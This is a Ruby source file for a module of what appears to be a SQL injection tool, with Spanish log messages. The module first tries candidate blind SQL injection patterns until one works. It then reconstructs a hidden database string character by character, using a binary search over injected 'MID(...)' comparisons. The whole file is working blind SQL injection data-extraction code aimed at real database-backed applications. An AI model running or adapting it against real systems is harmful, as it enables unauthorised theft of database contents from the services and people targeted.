require "base/operation/sqlexpr_eval"

class SqlStringExpresionEval < Rsif::Core::Modules::Module

	@@base_chars = ("0".."9").map{|x|x} + ("a".."z").map{|x|x}
	@@base_chars = @@base_chars.sort

	def new_sqlexpr_ins( pattern )
		framework.instanciate("base/blind/sqlexpr_eval", {:blind_sql_pattern => pattern} )
	end

	def search_ins()

		ins = nil

		framework.run_group( :blind_sql_pattern ) do |pattern|
			print "test pattern #{pattern}\n"

			tmp_ins = new_sqlexpr_ins( pattern )
			if tmp_ins.good then
				logger.info "test acertado con pattern: #{pattern}"
				ins = tmp_ins
				break
			else
				logger.debug "Test de patten: #{pattern} fallido"
			end
		end


		unless ins
			logger.error Locale.failed_to_instatiate_module("base/blind/sqlexpr_eval")
		end

		ins
	end

	def initialize_params(params)
		@sqlexpr_ins = nil
	end

	def search_new_char( base, expr )

		infimo = 0
		medio = @@base_chars.length / 2
		supremo = @@base_chars.length - 1


		while (supremo-infimo>1)
			delimiter = base + @@base_chars[ medio ]
			unless @sqlexpr_ins.put( "#{expr}<\"#{delimiter}\"" )
				infimo = medio
				medio = (infimo + supremo)/2
			else
				supremo = medio
				medio = (infimo + supremo)/2
			end
		end

		@@base_chars[infimo]
		 
	end

	def put( expr_ )

		unless @sqlexpr_ins
			@sqlexpr_ins = search_ins
		end

		expr = "MID(#{expr_},1)"

		accumulator = ""

		(0..64).each do
			accumulator = accumulator + search_new_char(accumulator, expr)
			if @sqlexpr_ins.put(" #{expr}=\"#{accumulator}\"")
				break;
			end
		end

		accumulator
	end
end


